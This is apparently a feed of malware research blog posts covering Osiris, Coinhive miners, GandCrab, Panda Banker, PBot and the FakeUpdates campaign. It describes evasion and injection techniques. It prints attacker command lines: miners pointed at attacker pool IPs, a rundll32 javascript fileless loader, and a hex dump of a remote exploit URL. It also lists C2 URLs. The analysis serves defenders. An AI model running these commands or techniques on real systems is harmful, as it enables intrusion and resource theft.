Osiris dropper found using process doppelgänging

Process Doppelgänging, a new technique of impersonating a process, was published last year at Black Hat conference. After some time, a ransomware named SynAck was discovered that adopted it for malicious purposes. However, this technique is still pretty rare in wild. So, it was an interesting surprise to notice it in a dropper of the Osiris banking Trojan (a new version of the infamous Kronos).

The authors of this dropper were skilled, and they added several other tricks to spice the whole thing up. In this post, we will have a closer look at the loader’s implementation.

Analyzed sample

Osiris is loaded in three steps:


The dropper creates a new process and injects the content inside:

Interestingly, when we look into the modules loaded in the process space of the injector, we can see an additional copy of NTDLL:

This is a well-known technique that some malware authors use in order to evade monitoring applications and hide the API calls that they used.

When we examine closely what the functions are called from that additional NTDLL, we find more interesting details. It calls several APIs related to NTFS transactions. It was easy to guess that the technique of Process Doppelgänging, which relies on this mechanism, was applied here.

Loading additional NTDLL

NTDLL is a special, low-level DLL. Basically, it is just a wrapper around syscalls. It does not have any dependencies from other DLLs in the system. Thanks to this, it can be loaded conveniently, without the need to fill its import table.

Other system DLLs, such as Kernel32, rely heavily on functions exported from NTDLL. This is why many user-land monitoring tools hook and intercept the functions exported by NTDLL: to watch what functions are being called and check if the process does not display any suspicious activity.

Of course malware authors know about this, so sometimes, in order to fool this mechanism, they load their own, fresh and unhooked copy of NTDLL from the disk. There are several ways to implement this. Let’s have a look how the authors of the Osiris dropper did it.

Looking at the memory mapping, we see that the NTDLL is loaded as an image, just like other DLLs. However, it was not loaded by a typical LoadLibrary function, nor even by its low-level version from NTDLL, LdrLoadDll. Instead, the authors decided to load the file as a section, using following functions:

  • ntdll.NtCreateFile – to open the ntdll.dll file
  • ntdll.NtCreateSection – to create a section out of this file
  • ntdll.ZwMapViewOfSection – to map this section into the process address space

This was smart move because the DLL looks like it was loaded in a typical way, and yet, if we monitor the LdrLoadDll function, we see nothing suspicious.

Implementation of Process Doppelgänging

In order to make their injection more stealthy, the authors took the original implementation of Process Doppelgänging a step further and used only low-level APIs. So, instead of calling the convenient wrappers from Kernel32, for most of the functions they called their equivalents from NTDLL. Moreover, they used the aforementioned custom copy of this DLL.

First, they created a new suspended process. This is the process into which the payload will be injected. In this particular case, the function was called from kernel32.dll: CreateProcessInternal.

Process Doppelgänging then starts from creating a new transaction, within which a new file is created. The original implementation used CreateTransaction and CreateFileTransacted from Kernel32 for this purpose. But this is not the case here.

First, a function ZwCreateTransaction from a NTDLL is called. Then, instead of CreateFileTransacted, the authors open the transacted file by RtlSetCurrentTransaction along with ZwCreateFile (the created file is %TEMP%\Liebert.bmp). Then, the dropper writes the content of the new executable to the file—the second stage of the malware. Analogically, RtlSetCurrentTransaction with ZwWriteFile is used.

We can see that the buffer that is being written contains the new PE file: the second stage payload. Typically, for the Process Doppelgänging technique, the file is visible only within the transaction and cannot be opened by other processes, such as AV scanners.

After the file inside the transaction is created, it will be used to create a buffer in special format, called a section. The function that can do it is available only via low-level API: ZwCreateSection/NtCreateSection.

After the section is created, the file that was created is no longer needed. The transaction gets rolled back (by ZwRollbackTransaction), and the changes to the file are never saved on the disk.

Further, the created section will be used to load a PE file. After writing the payload into memory and setting the necessary patches, such as Entry Point redirection, the process is resumed:

Second stage loader

The next layer (8d58c731f61afe74e9f450cc1c7987be) is not the core yet, but the next stage of the loader. The way it loads the final payload is much simpler, yet still not trivial. The code of Osiris core is unpacked piece by piece and manually loaded along with its dependencies into a newly allocated memory area within the loader process.

After this self-injection, the loader jumps into the payload’s entry point:

The interesting thing is that the entry point of the application is different than the entry point saved in the header. So, if we dump the payload and try to run it interdependently, we will not get the same code executed. This is an interesting technique used to misguide researchers.

This is the entry point that was set in the headers is at RVA 0x26840:

The call leads to a function that makes the application go in an infinite sleep loop:

The real entry point, from which the execution of the malware should start, is at 0x25386, and it is known only to the loader.

Comparison with Kronos loader

A similar trick using a hidden entry point was used by the original Kronos (2a550956263a22991c34f076f3160b49).

In the case of Kronos, the final payload is injected into svchost. The execution is redirected to the core by patching the entry point in the svchost:

In this case, the entry point within the payload is at RVA 0x13B90, while the entry point saved in the payload’s header (d8425578fc2d84513f1f22d3d518e3c3) is at 0x15002.

The code at the real Kronos entry point displays similarities with the analogical point in Osiris. Yet, we can see they are not identical:


The implementation of Process Dopplegänging used in the first stage loader is clean and professional. The author used a relatively new technique and made the best out of it by composing it with other known tricks. The precision used here reminds us of the code used in the original Kronos. However, we can’t be sure if the first layer is written by the same author as the core bot. Malware distributors often use third-party crypters to pack their malware. The second stage is more tightly coupled with the payload, and here we can say with more confidence that this layer was prepared along with the core.

The post Osiris dropper found using process doppelgänging appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Obfuscated Coinhive shortlink reveals larger mining operation

During the past several months, in-browser mining has continued to affect a large number of websites, predominantly relying on Coinhive’s infamous API. We documented several campaigns on this blog, in particular Drupalgeddon, where attackers are taking advantage of vulnerabilities in popular Content Management Systems (CMS) to compromise websites and push payloads both client- and server-side.

In the past weeks, our crawlers have catalogued several hundred sites using a variety of CMS all injected with the same obfuscated code that uses Coinhive’s shortlink to perform silent drive-by mining. By pivoting on this indicator of compromise, we were able to identify a larger infrastructure receiving traffic from several thousand hacked sites acting as doorways to redirect traffic to a central server involved in the distribution of both web and standard malware coin miners.

Figure 1: Mining operation fueled by compromised sites

Obfuscated miner injection

As part of our regular crawls, we look for known redirects to sites of interest and lately, most have been related to Coinhive domains. We detected hundreds of new domains, all legitimate websites that were injected with a blurb of hexadecimal code. Once decoded, it shows as an invisible iframe (1×1 pixel) to cnhv[.]co/3h2b2. We believe it is part of the same campaign that was exposed by the folks over at Sucuri at the end of May.

</i frame>

Figure 2: A WordPress site injected with an obfuscated iframe loading Coinhive’s API

The cnhv[.]co domain name is used for what Coinhive calls shortlinks, essentially a way of monetizing on hyperlinks by making visitors’ browsers solve a certain number of hashes before they reach their destination site. When clicking on such a link, you will see a progress bar and within a few seconds, you will be redirected. Crooks are abusing this feature by loading those shortlinks as hidden iframes with an unreasonably high hash count.

Figure 3: Shortlink is taxing our CPU at 100% 

In Figure 3 where we made the iframe visible by by changing its dimensions, to show that rather than wait for a few seconds before being redirected, users will unknowingly be mining for as long as they stay on the page. Indeed, while Coinhive’s default setting is set to 1024 hashes, this one requires 3,712,000 before loading the destination URL.

Backdoor initiated redirection

Querying urlscan.io, we were able to find the same Coinhive key active as early as May 7 via a different redirection mechanism. There is a specific URI pattern indicating that hacked sites are being leveraged to perform a redirect to a server at 5.45.79[.]15. This in turn creates a redirection via another crafted URI where one of the parameters is the referrer site, ultimately leading to the Coinhive shortlink that will start the web miner.

Figure 4: The same shortlink was found loaded from a compromised website via an intermediary server

Several sites have been injected with both the hidden cnvh[.]co iframe method, as well as via backdoors:

Figure 5: A hacked site injected with Coinhive’s shortlink and multiple compromised URLs

The URI pattern used for the redirections can be identified by the following regular expression:

Figure 6: A regular expression showing a match between compromised sites

Blackhat SEO and doorways

Looking at those URIs again, we can note the presence of certain keywords that appear to be Search Engine Optimization (SEO) related, for instance:


We confirmed that indeed some Google or Bing searches showed us results that included the list of compromised sites that are acting as “doorways,” usually to a traffic distribution system or redirector (5.45.79[.]15). In this case, the doorways are used to trick people into downloading malicious coin miners instead of the file they were looking for.

Figure 7: Despite appearances, this file is not 100 percent clean

Note how the server at 5.45.79[.]15 is performing the redirection to another hacked sited (motoir[.]com), where the keywords passed from the URI are dynamically used to create what looks like a unique download page and file.

Figure 8: Web traffic showing the redirection sequence

Malicious coin miners

Upon execution, this executable will unpack the following three binaries:

  1. winsystem.exe: the XMRig miner
  2. clock.exe: .bat file wrapped into an EXE contains commands
  3. netflash.exe: a very simple downloader, written in .NET.

The batch script adds persistence by setting a registry entry, kills certain processes (possible miners already running), and starts mining by launching:

winsystem.exe -B -a cryptonight -o 37.1.197[.]121:80 -p x -u %COMPUTERNAME% +500 --max-cpu-usage=30 --donate-level=1 -k

Figure 9: Batch script revealing the mining code

The fake download binaries are based on the same code from a miner, unsurprisingly, hosted at 5.45.79[.]15/xxxphoto.exe. Using VirusTotal Intelligence, we were able to expand on this infrastructure and identify another coin miner, which is an ELF file this time, based on this cnrig library, hosted at: 5.45.79[.]15/monero/cnrig.

Figure 10: Graph showing an ELF and Win32 miner hosted on the same server

A comment left on this VirusTotal report page indicates that this miner was found on an infected server and pulled down from a PHP backdoor called zz1.php. Searching for that file name, we located a possible candidate uploaded to a public site. Decoding the Base64 encoded strings, we can assert with greater confidence that this is the malicious PHP file used by the attackers to download the Linux coin miner from 5.45.79[.]15/monero/cnrig:

Figure 11: PHP code uploaded into compromised sites responsible for ELF miner download

Once it has retrieved the ELF binary, it runs it, using the following command in order to begin mining:

./cnrig -o 5.61.46[.]146:80 --donate-level=1 > /dev/null 2>&1


Because the miners are connecting to private pools (and likely via proxy) without using a wallet address, we cannot assess how much money the perpetrators have generated with this scheme.

In fact, the server at 5.45.79[.]15 also has its own ProxyPanel:

Figure 12: A proxy based on xmrig-proxy

The XMRig version of the miner had a public stats page indicating that there were close to 500 infected machines that had participated in the mining activity. For the CNRig version, we weren’t able to find any such stat, although the number of hacked servers was much higher.

A growing number of sites

The interest surrounding cryptocurrencies has drastically changed the malware landscape with criminals hoping to get a piece of the action. As such, a growing number of websites are being compromised both client- and server-side to distribute and run coin miners.

In this campaign, we see infrastructure used to push an XMRig miner onto users by tricking them into downloading files they were searching for online. In the meantime, hacked servers are instructed to download and run a Linux miner, generating profits for the perpetrators but incurring costs for their owners. Finally, it seems only fitting to see an abuse of Coinhive’s shortlinks to perform in-browser mining.

Malwarebytes blocks malicious mining, whether it is triggered by malware or loaded via compromised websites.

Thanks to @DynamicAnalysis for sharing additional information.

Indicators of compromise

String for obfuscated cnvh[.]co injection


Coinhive shortlink


Coinhive site key


Regex for compromised sites redirection


Redirection server


Windows miner dropper


Linux miner


The post Obfuscated Coinhive shortlink reveals larger mining operation appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

New macro-less technique to distribute malware

One of the most common and effective infection vectors, especially for businesses, is the use of malicious Office documents. This year alone, we witnessed two zero-days for both Flash and the VBScript engine, which were first actually embedded into Office documents before gaining wider adoption in web exploit kits.

In addition to leveraging software vulnerabilities, attackers are regularly abusing normal Office features, such as macros, or more obscure ones like Dynamic Data Exchange (DDE), and of course Object Linking and Embedding (OLE) attacks, which can also be mixed with exploits. System administrators can harden endpoints by disabling certain features company-wide, for example to foil certain social engineering schemes that try to trick users to enable a malicious macro. In recent versions of Office, Microsoft is also blocking the activation of objects considered high risk, based on a list of extensions that can be customized via Group Policy.

But a recent discovery by security researcher Matt Nelson, shows that yet another infection vector can be tapped into, one that circumvents the current protection settings and even Microsoft’s new Attack Surface Reduction technology. By embedding specially-crafted settings files into an Office document, an attacker can trick a user to run malicious code without any further warning or notification.

The file format, specific to Windows 10 called .SettingContent.ms, is essentially XML code that is used to create shortcuts to the Control Panel. This feature can be abused because one of its elements (DeepLink) allows for any binary with parameters to be executed. All that an attacker needs to do is add his own command using Powershell.exe or Cmd.exe. And the rest is history.

A new script found by Nick Carr shows an attack where PowerShell is invoked to download and execute a Trojan (VT report). According to Matt Nelson, who discovered this new technique, Microsoft is not going to fix it, at least for the time being.

We tested this sample in our lab and are happy to report that Malwarebytes users are already protected:

During the past few years, while there has been little development with web exploit kits, there has been a lot of activity with document exploit kits such as Microsoft Word Intruder (WMI) or Threadkit. These toolkits allow attackers to craft lures and embed the exploit(s) of their choice before either spear phishing their victims or sending the file via larger spam campaigns. At the same time, it looks like classic social engineering attacks aren’t going anywhere anytime soon and will keep capitalizing on the human element.

It is import for end users and businesses to recognize that malicious documents represent a very real threat and require adequate protection and training to fend against.

The post New macro-less technique to distribute malware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

New Mac cryptominer uses XMRig

A new Mac cryptominer was discovered this week, after affected users saw their fans whirring out of control and a process named “mshelper” gobbling up CPU time like Cookie Monster. Fortunately, this malware is not very sophisticated and is easy to remove.

The malware became public knowledge in a post on Apple’s discussion forums, where the “mshelper” process was found to be the culprit. Digging deeper, it was discovered that there were a couple other suspicious processes installed as well. We went searching and found copies of these files.

The malware is mining for Monero cryptocurrency. Here’s a breakdown of its components.

The dropper

A “dropper” is what security researchers call the program that installs malware. Often, Mac malware is installed by things like fake Adobe Flash Player installers, downloads from piracy sites, decoy documents users are tricked into opening, and other such things.

In this case, the dropper is still unknown, but we do not believe it’s anything sophisticated. Everything else about this malware suggests simplicity.

The launcher

A file named pplauncher is installed in the following location:

~/Library/Application Support/pplauncher/pplauncher

This file is kept running by a launch daemon (com.pplauncher.plist), indicating that the dropper must have had root privileges.

pplauncher is a rather large executable file (3.5 MB) that was written in Golang and then compiled for macOS. The sole responsibility of this process appears to be the fairly simple process of installing and launching the miner process.

Using Golang introduces significant overhead, resulting in a binary file containing more than 23,000 functions. Using this for what appears to be simple functionality is probably a sign that the person who created it is not particularly familiar with Macs.

pplauncher SHA256:

The miner

The miner is the mshelper process, which is installed here:


This process appears to be an older version of the legitimate XMRig miner, which can be installed on Macs via Homebrew. Getting the version information from the current XMRig gives the following results:

$ xmrig -V
XMRig 2.6.2
 built on May  7 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: 64-bit AES

Requesting the same information from the mshelper process gives the following results:

$ /tmp/mshelper/mshelper -V
XMRig 2.5.1
 built on Mar 26 2018 with clang 9.0.0 (clang-900.0.39.2)
 features: x86_64 AES-NI

Clearly, mshelper is simply an older copy of XMRig that is being used for the purpose of generating the cryptocurrency for the hacker behind the malware. The pplauncher process provides the necessary command-line arguments, such as the following parameter specifying the user, found using the strings command on the pplauncher executable file:

mshelper SHA256:

Mac cryptomining on the rise

This malware is not particularly dangerous, unless your Mac has a problem like damaged fans or dust-clogged vents that could cause overheating. Although the mshelper process is actually a legitimate piece of software being abused, it should still be removed along with the rest of the malware.

Mac cryptomining malware has been on the rise recently, just as in the Windows world. This malware follows other cryptominers for macOS, such as Pwnet, CpuMeaner, and CreativeUpdate. I’d rather be infected with a cryptominer than some other kind of malware, but that doesn’t make it a good thing.

If you think you’re infected with this malware, Malwarebytes for Mac will remove it. We detect this malware as OSX.ppminer.

The post New Mac cryptominer uses XMRig appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Internet Explorer zero-day: browser is once again under attack

In late April, two security companies (Qihoo360 and Kaspersky) independently discovered a zero-day for Internet Explorer (CVE-2018-8174), which was used in targeted attacks for espionage purposes. This marks two years since a zero-day has been found (CVE-2016-0189 being the latest one) in the browser that won’t die, despite efforts from Microsoft to move on to the more modern Edge.

The vulnerability exists in the VBScript engine and how it handles memory objects. It will also affect IE11 even though VBScript is no longer supported by using the compatibility tag for IE10.

The attack came via a Word document making use of OLE autolink objects to retrieve the exploit and shellcode from a remote server. However, it is important to note that it could very well have been executed by visiting a website instead.

Perhaps one of the reasons why it was not used as a drive-by download attack may be related to the targets running another browser as their default (i.e. Chrome) where the exploitation would never occur. However, by tricking their victims to open an Office document, the attackers can force Internet Explorer to load, thanks in part to the URL moniker “feature.”

Using rtfdump.py, we see the call for an HTTP connection:

python rtfdump.py -s 320 -H CVE-2018-8174.rtf

000014C0: 70 B2 86 8C 53 30 05 43 00 38 30 01 18 68 00 74 p���S0.C.80..h.t
000014D0: 00 74 00 70 00 3A 00 2F 00 2F 00 61 00 75 00 74 .t.p.:././.a.u.t
000014E0: 00 6F 00 73 00 6F 00 75 00 6E 00 64 00 63 00 68 .o.s.o.u.n.d.c.h
000014F0: 00 65 00 63 00 6B 00 65 00 72 00 73 00 2E 00 63 .e.c.k.e.r.s...c
00001500: 00 6F 00 6D 00 2F 00 73 00 32 00 2F 00 73 00 65 .o.m./.s.2./.s.e
00001510: 00 61 00 72 00 63 00 68 00 2E 00 70 00 68 00 70 .a.r.c.h...p.h.p
00001520: 00 3F 00 77 00 68 00 6F 00 3D 00 37 00 00 00 00 .?.w.h.o.=.7....

This remote request will download a VBS script. A Proof of Concept adapted from the blog that was published by Kaspersky can be seen below:

The flaw abused by this vulnerability relates to a reference count that is checked at the beginning of the function but not after, despite the chance of it being incremented along the way. This allows an attacker to execute malicious shellcode and eventually load the malware binary of his choice.

We tested this Use After Free (UAF) vulnerability with the publicly available PoC running Internet Explorer 11 under Windows 10. The browser crashes once it loads the VBS code, but with Malwarebytes, the attack vector is mitigated:

Microsoft has released a patch for this vulnerability, and we strongly advise to apply it, as it is just a matter of time before other threat actors start leveraging this new opportunity in spam or exploit kit campaigns.

We will update this blog if we obtain more information about this vulnerability being used widely, and in particular, if a full working exploit is available.

The post Internet Explorer zero-day: browser is once again under attack appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Internet Shortcut used in Necurs malspam campaign

The Necurs botnet continues to be one of the most prolific malicious spam distributors, with regular waves of carefully-crafted attachments that are used to download malware.

The majority of malspam campaigns that we track are targeting Microsoft Office with documents containing either macros or exploits. We also see a number of other types of malicious attachments that are zipped scripts (.VBS, .JS, etc)—essentially downloaders for the final payload.

In a new technique recently uncovered, Necurs is changing things up a little bit by avoiding the aforementioned formats and using a different file type instead, crafting malicious .URL files (Internet Shortcut).

This attack relies on the file:// protocol to load and execute a remote script from a samba (SMB) share. This is noteworthy because typically the attachment is used as a downloader, but instead here we see one additional step that pushes this function one degree further thanks to the .url shortcut.

By not placing the malicious script directly within the attachment, attackers are also preventing the automated collection and sandbox analysis that usually takes place within spam traps.

An obfuscated view of the WSF script can be seen in the screenshot below:

The final payload is eventually downloaded from a remote server:

This is an interesting attack designed to bypass traditional security measures and administrative policies that may block the well-known Office macros.

Malwarebytes users are already protected against this technique.

Malware authors are constantly looking for new evasion techniques as long as they generate good success rates. Social engineering attacks have relied upon the same lures for some time, but every now and again we see a slight variation in a technique that was perhaps known, but not yet leveraged by criminals.

The post Internet Shortcut used in Necurs malspam campaign appeared first on Malwarebytes Labs.

Go to Source
Author: Malwarebytes Labs

PBot: a Python-based adware

Recently, we came across a Python-based sample dropped by an exploit kit. Although it arrives under the disguise of a MinerBlocker, it has nothing in common with miners. In fact, it seems to be PBot/PythonBot: a Python-based adware.

Apart from a couple of posts on forums in Russian language and brief threat notes, we couldn’t find any detailed publication.

Some of its features are pretty interesting, so we decided to take a closer look. The malware performs MITB (man-in-the-browser) attacks and injects various scripts into legitimate websites. Its capabilities may go beyond simple injections of ads, depending on the intentions of its distributors.

Analyzed samples

Distribution method

The described sample was dropped by the RIG exploit kit:

Behavioral analysis


The main executable, dropped by the exploit kit, is a downloader. The downloader is pretty simple and not obfuscated. We can see the scripts in the resources:

Its role is to fetch the second installer that has all the malicious Python scripts inside. The second component is named MinerBlocker.

The interesting thing is, if the downloaded component is run as a standalone, it behaves like a normal, legitimate installer, displaying a EULA and installation wizard. We can see the following information:

It pretends to be a legitimate application dedicated to blocking malicious miners. However, we could not find any website corresponding to the mentioned product, so at the moment we suspect that it is fully made up.

When the same component is run by the original downloader, the installation is fully stealthy instead. It drops the package in %APPDATA%.


The dropped application consists of multiple elements. We can see a full installation of Python prepared in order to run the dropped scripts. The bundle has also its own uninstaller (uninstall.exe) that, once deployed, fully removes the package.

In the directory js, as the name suggests, we can find a file with JavaScript, i.js:

In configs, there are two configuration files: rules.ini and settings.ini.

The configuration file rules.ini specifies the path to the JavaScript and suggests that it will be injected somewhere:

The file settings.ini contains various interesting parameters. It contains, among others:

1) The ports on which the service will be running, and the issuer of the used certificate:

2) A list of processes (browsers) that will possibly be attacked:

3) A set of whitelisted IPs and domains. The domains are in Base64 format and, after decoding them, we can see various Russian banking sites. The full list of the decoded sites is available here. As we later confirmed, those sites are exempted from the infection.

Persistence is achieved by Run keys in the registry:

They lead to one of the scripts called “ml.py.” Once this script is run, it deploys another Python component: “httpfilter.py” with the dropped .ini files:


If we look at the packaging, which contains an uninstaller, the application could look legitimate. However, its functionality is far form something that any user would desire to have on his/her computer. First of all, it injects scripts into each website you visit. The injected script comes from the path specified in the configuration, however, it further loads a second stage from the remote server (captured content of the second stage available here).

So, once it is injected, the attackers are in control of the contents displayed in our browser. They can inject ads, but also any other much more malicious content.

Example of a site with the script injected by the malware that impersonates a domain belonging to Google:

Compare it with the script that was in the directory js, i.js (formatted version available here):

Also, the malware forges certificates and performs the man-in-the-browser attack. The legitimate certificates on the sites with HTTPS are replaced by fake certificates issued by “The Filter” that is a malicious entity:

Looking at the sockets opened by a browser (i.e. by ProcessExplorer) and comparing them with the sockets opened by the Python instance, we find that they are paired together. It is an indicator that the browser communicates with the malware and works under its control.

Example: Internet Explorer connected to a socket 24681. We can see that this socket was opened by the Python process running the malware:


The loader (written in Python)

The first layer of the malware is the obfuscated Python scripts.

As mentioned before, at the beginning, the script ml.py is run. This script is obfuscated. Its role is to run the second Python layer that is httpfilter.py.

The script httpfilter.py is supposed to decrypt a DLL stored in the file httpfilter.bin.

Then, it injects the DLL into the Python executable. It is interesting because PE injectors written in Python are not so common.

The injector (DLL)

The DLL injected in Python (e5ba5f821da68331b875671b4b946b56) is the main component of the malware. This component expects to be injected into Python executable:

It also fetches the passed parameters (settings.ini and rules.ini). So we can see that they were not meant to be parsed by the script to which they were previously passed.

The authors left some debug strings that makes the execution flow easy to follow. For example:

This DLL is responsible for parsing the configuration and setting up the malicious proxy.

It comes with two hardcoded DLLs: one 32-bit and one 64-bit (both stored in overlay of the PE file and not obfuscated). Those DLLs are the components that are further injected into browsers that are selected by the configuration. Their names are appropriately: injectee-x86.dll and injectee-x64.dll:

The injectee (DLL)

The execution of injectee DLL starts in the exported function, InjectorEntry:

The injectee is implanted in a browser and responsible for hooking its DLLs. Here’s the beginning of the hooking function:

The hooking function is pretty standard for this type of event. It retrieves the addresses of the specified exported functions, then it overwrites the beginning of each function redirecting it to the corresponding function within the malicious DLL.

The targets are functions responsible for parsing certificates (in Crypt32.dll), as well as functions responsible for sending and receiving data (in ws32_dll):

When we dump the hooks via PE-sieve, we can directly see how those functions have been redirected to the malware. Here is the list of tags gathered from the appropriate DLLs:

From Crypt32:


From ws32_dll:


In both cases, we can see that the addresses have been redirected to the injectee DLL that was loaded at the base 50000.

So, for example, the function WSASend gets intercepted and the execution is redirected to a function at RVA 0xd90 in the injectee dll:

The beginning of the intercepting function:

By this way, all the requests are redirected to the malware. It can work as a proxy, altering data on the way.

After the proxy function finishes, it jumps back to the original function, so the user doesn’t realize any change in the functionality.


This malware is pretty simple, does not contain much obfuscation and was probably not intended to be stealthy. Rather than hiding, it tries to look harmless and legitimate. However, the functionality that it delivers is powerful enough to cause serious harm. It may be configured to display harmless ads, but it could also be configured to display phishing pop-ups, such as it was implemented in Kronos. Also, the fact that it forges certificates of the sites should raise concerns.

The post PBot: a Python-based adware appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Magnitude exploit kit switches to GandCrab ransomware

The GandCrab ransomware is reaching far and wide via malspam, social engineering schemes, and exploit kit campaigns. On April 16, we discovered that Magnitude EK, which had been loyal to its own Magniber ransomware, was now being leveraged to push out GandCrab, too.

While Magnitude EK remains focused on targeting South Koreans, we were able to infect an English version of Windows by replaying a previously recorded infection capture. This is an interesting departure from Magniber, which was extremely thorough at avoiding other geolocations.

Magnitude is now also using a fileless technique to load the ransomware payload, making it somewhat harder to intercept and detect. The variations of this technique have been known for several years and used by other families such as by Poweliks, but they are a new addition to Magnitude.

Figure 1: Magnitude EK traffic capture with the GandCrab payload

Magnitude has always experimented with unconventional ways to load its malware, for example via binary padding, or more recently via another technique, but still exposing it “in the clear” from traffic or network packet capture.

Figure 2: Magnitude EK dropping Magniber on April 4, 2018

The payload is encoded (using VBScript.Encode/JScript.Encode) and embedded in a scriplet that is later decoded in memory and executed.

"C:WindowsSystem32rundll32.exe" javascript:"..mshtml,RunHTMLApplication ";

Figure 3: Innocuous scriptlet hides the payload

After the payload is injected into explorer.exe, it immediately attempts to reboot the machine. If we suspend that process and use @hasherezade‘s PE-Sieve, we can actually dump the GandCrab DLL from memory:

Figure 4: Extracting the payload from memory using PE-Sieve

Upon successful infection, files will be encrypted with the .CRAB extension while a ransom note is left with instructions on the next steps required to recover those files.

Figure 5: GandCrab’s ransom note

A recent law enforcement operation provided victims with a way to recover their files from previous GandCrab infections. However, the latest version cannot be decrypted at the moment.

Malwarebytes users are protected against this attack when either the Internet Explorer (CVE-2016-0189) or Flash Player (CVE-2018-4878) exploits are fired.

Time will tell if Magnitude sticks to GandCrab, but this is a noteworthy change for an exploit kit that solely used its own Magniber ransomware for about 7 months, after having replaced the trusted Cerber.

Indicators of compromise

Dumped GandCrab DLL


The post Magnitude exploit kit switches to GandCrab ransomware appeared first on Malwarebytes Labs.

Go to Source
Author: Jérôme Segura

Panda Banker Zeros in on Japanese Targets

Key Findings

  • A threat actor using the well-known banking malware Panda Banker (a.k.a Zeus Panda, PandaBot) has started targeting financial institutions in Japan.
  • Based on our data and analysis this is the first time that we have seen Panda Banker injects targeting Japanese organizations.
  • It is likely a new campaign or actor started using Panda Banker since in addition to the previously unseen Japanese targeting, Arbor has not seen any indicator of compromise (IOC) overlaps with previous Panda Banker campaigns.
  • The sample used in this campaign was the first sample we observed in the wild to use the newest version of Panda Banker, version 2.6.6.


Panda Banker is based on the Zeus malware family. One of its main functions is stealing user credentials, account numbers, and ultimately money from financial institutions. It does this by using a technique known as “man in the browser” along with “webinjects” that specify what websites to target and how.

This banking malware was first seen in the wild in the beginning of 2016 (version 2.1.x) and has had consistent, incremental development since then. While some details have changed, our “Who Let the Pandas Out? Zeus, Zeus, Zeus, Zeus” blog post is still a good introduction to the technical details of the malware.

Panda Banker is sold as a kit on underground forums so there are multiple users of the malware. Cybercrime threat actors tend to focus their campaigns on particular countries—usually dependent on their ability to convert stolen credentials and account details from those locations into real money. Over the years we’ve seen Panda Banker campaigns focus on financial institutions in: Italy, Canada, Australia, Germany, United States, United Kingdom, and now Japan.

Campaign Analysis

A new version of Panda Banker, version 2.6.6, was observed being distributed in the wild on March 26th:


Compilation date: 2018-03-26 09:54:57

While we didn’t see any significant changes to the malware itself (possibly just a “bug fix” release), the campaign using this sample stood out for two reasons:

  1. No IOC overlap with any previous Panda Banker campaigns that we’ve seen.
  2. Webinjects targeting Japan, a country we haven’t seen targeted by Panda Banker before.

Command & Control (C2)

The C2 servers configured for this sample are listed below:

  • https://hillaryzell[.]xyz/1wekenauhivwauvaxquor.dat
  • https://buscamapa1[.]top/2yrfuupcovylaawubitvy.dat
  • https://buscamapa2[.]top/3toaxkatoindyepidikuv.dat
  • https://buscamapa3[.]top/4heequktuepahvoyfofit.dat
  • https://buscamapa4[.]top/5ufyfegtuobekpykobeul.dat
  • https://buscamapa5[.]top/6lubanuoxapywinlaokow.dat

At the time of research, only hillaryzell[.]xyz was operational and it was registered to a “Petrov Vadim” using an email address of “yalapinziw@mail.ru”.

Campaign Name

The threat actor named this campaign “ank”.


At the time of research, the C2 server returned 27 webinjects that can be broken down into the following categories:

  • 17 Japanese banking web sites mostly focusing on credit cards
  • 1 US based web email site
  • 1 US based video search engine
  • 4 US based search engines
  • 1 US based online shopping site
  • 2 US based social media sites
  • 1 US based adult content hub

An example, redacted webinject for this campaign looks like the following:

Example webinject targeting Japan.

The webinjects in this campaign make use of a “grabber” / automated transfer system (ATS) system known as “Full Info Grabber” to capture credentials and account information. As can be seen in figures above, the threat actor is using a path of “jpccgrab” possibly meaning “Japanese credit card grabber”. Given the targeting, this name makes some sense.

Distribution (update March 28, 2018)

Security researcher kafeine has released more details on how this threat is being distributed in the wild: a malicious advertisement (malvertising) is redirecting victims to a RIG exploit kit which is distributing the Panda Banker malware.


Japan is no stranger to banking malware. Based on recent reports, the country has been plagued by attacks using the Ursnif and Urlzone banking malware. This post was our first analysis of the first Panda Banker campaign that we’ve seen to target financial institutions in Japan.

Go to Source
Author: Dennis Schwarz

‘FakeUpdates’ campaign leverages multiple website platforms

A malware campaign which seems to have started at least since December 2017 has been gaining steam by enrolling a growing number of legitimate but compromised websites. Its modus operandi relies on social engineering users with fake but convincing update notifications.

Similar techniques were used by a group leveraging malvertising on high traffic websites such as Yahoo to distribute ad fraud malware. The patterns are also somewhat reminiscent of EITest’s HoeflerText campaign where hacked websites are scrambled and offer a font for download. More recently, there has been a campaign affecting Magento websites that also pushes fake updates (for the Flash Player) which delivers the AZORult stealer by abusing GitHub for hosting.

Today, we are looking at what we call the ‘FakeUpdates campaign’ and describing its intricate filtering and evasion techniques. One of the earliest examples we could find was reported by BroadAnalysis on December 20, 2017. The update file is not an executable but rather a script which is downloaded from DropBox, a legitimate file hosting service, as can be seen in the animation below.

Figure 1: A typical redirection to the ‘FakeUpdates’ scheme from a hacked site

This campaign affects multiple Content Management Systems (CMS) in somewhat similar ways. Several of the websites we checked were outdated and therefore vulnerable to malicious code injection. It is possible that attackers used the same techniques to build their inventory of compromised sites but we do not have enough information to confirm this theory.

WordPress and Joomla

Both WordPress and Joomla sites that were hacked bear the same kind of injection within their CMS’ JavaScript files.

Figure 2: A Compromised WordPress site pushing a fake Google Chrome update

Figure 3: A Compromised Joomla site pushing a fake Mozilla Firefox update

Some commonly injected files include the jquery.js and caption.js libraries where code is typically appended and can be spotted by doing a comparison with a clean copy of the same file.

Figure 4: Diffing a clean and suspicious copy of the same library

The additional blurb of code is responsible for the next chain of events that loads the fraudulent layer onto the website you are visiting. The image below shows a beautified version of the code injected in the CMS platforms, whose goal is to call the redirection URL:

Figure 5: Injected code responsible for the redirection

We wrote a simple crawler to browse a list of sites and then parsed the results. We were able to identify several hundred compromised WordPress and Joomla websites even after a small iteration through the list. Although we don’t have an exact number of sites that are affected, we surmise that it is in the thousands.

Figure 6: A partial list of compromised sites


Squarespace is another popular Content Management System that is also affected by the same campaign. This was pointed out by @Ring0x0 and we found a forum post dated February 28, where a Squarespace user is asking for help, saying “it basically redirected me to a full page “your version of chrome needs updating“”.

Figure 7: A Squarespace user reporting that their sites was tampered with

